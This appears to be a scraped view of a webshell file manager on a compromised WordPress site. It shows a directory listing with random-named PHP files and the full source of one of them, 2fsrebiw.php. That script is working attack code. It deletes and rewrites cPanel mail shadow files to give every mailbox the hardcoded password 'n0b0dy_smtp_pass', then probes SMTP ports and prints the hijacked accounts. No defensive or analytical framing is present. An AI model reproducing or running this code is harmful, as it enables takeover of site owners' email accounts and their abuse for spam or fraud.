Gecko [ adnanasghar.com ]

Name	Size	Permission
.well-known	[ DIR ]	drwxr-xr-x
0ed2c	[ DIR ]	dr-xr-xr-x
50a8ed	[ DIR ]	drwxr-xr-x
wp-admin	[ DIR ]	drwxr-xr-x
wp-content	[ DIR ]	dr-xr-xr-x
wp-includes	[ DIR ]	drwxr-xr-x
.htaccess	231 B	-rw-r--r--
.index.php	2.46 KB	-rwxrwxrwx
.litespeed_flag	297 B	-rw-r--r--
2fsrebiw.php	1.83 KB	-rw-r--r--
6pqi51i0.php	1.83 KB	-rw-r--r--
buy.php	5.55 KB	-rw-r--r--
context.php	1.05 KB	-rw-r--r--
csv.php	6.46 KB	-rw-r--r--
error_log	87.03 KB	-rw-r--r--
google738db57e59672eb9.html	53 B	-rw-r--r--
google8fab2a5bdb4dc80e.html	53 B	-rw-r--r--
googlecb7c0319e31f0be0.html	53 B	-rw-r--r--
googled24b00a99624db3b.html	53 B	-rw-r--r--
googledc308e72d25873da.html	53 B	-rw-r--r--
htaccess	618 B	-rw-r--r--
index.php	5.55 KB	-rw-r--r--
index.php0	8.38 KB	-rw-r--r--
instaII.php	4.82 KB	-rw-r--r--
robots.txt	413 B	-r--r--r--
wp-test.php	1.76 KB	-rw-r--r--

Code Editor : 2fsrebiw.php

<?php
set_time_limit(0);
error_reporting(0);
ini_set('max_execution_time',0);
ini_set('memory_limit',-1);
// port to scan
$ports=array(587, 26, 25, 465);
//curent user
$user=get_current_user();
function rndStr($length = 10)
{
    $characters = '123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ';
    $charactersLength = strlen($characters);
    $randomString = '';
    for ($i = 0; $i < $length; $i++) {
        $randomString .= $characters[rand(0, $charactersLength - 1)];
    }
    return $randomString;
}
$salt = rndStr();
// Smtp password
$password="n0b0dy_smtp_pass";
//crypt
$pwd = crypt($password, '$6$'.$salt.'$');
// host name
 $t = $_SERVER['SERVER_NAME'];
//edit
 $t = @str_replace("www.","",$t);
 
$dirs = glob('/home/'.$user.'/etc/*', GLOB_ONLYDIR);
foreach($dirs as $dir){
$ex = explode("/",$dir);
$site =  $ex[count($ex)-1];

//get users
@$passwd = file_get_contents('/home/'.$user.'/etc/'.$site.'/shadow');
//edit
$ex=explode("\r\n",$passwd);
//backup shadow
@link('/home/'.$user.'/etc/'.$site.'/shadow','/home/'.$user.'/etc/'.$site.'/shadow.'.$password.'.bak');
//delete shadow
@unlink('/home/'.$user.'/etc/'.$site.'/shadow');
// :D

foreach($ex as $ex){
    $ex=explode(':',$ex);
    $e= $ex[0];

if ($e){
        $b=fopen('/home/'.$user.'/etc/'.$site.'/shadow','ab');
        fwrite($b,$e.':'.$pwd.':16249:::::'."\r\n");fclose($b);
        // $siteList = [];
        foreach($ports as $pport){
            // if(in_array($site, $siteList)){
            //     continue;
            // }
            $connection = @fsockopen($site, $pport);
            if (is_resource($connection))
            {   
                echo $site.'|'.$pport.'|'.$e.'@'.$site.'|'.$password."\n";
                break;
            }
            // $siteList[] = $site;
        }
    }
}
}
?>

${this.title}

Code Editor : 2fsrebiw.php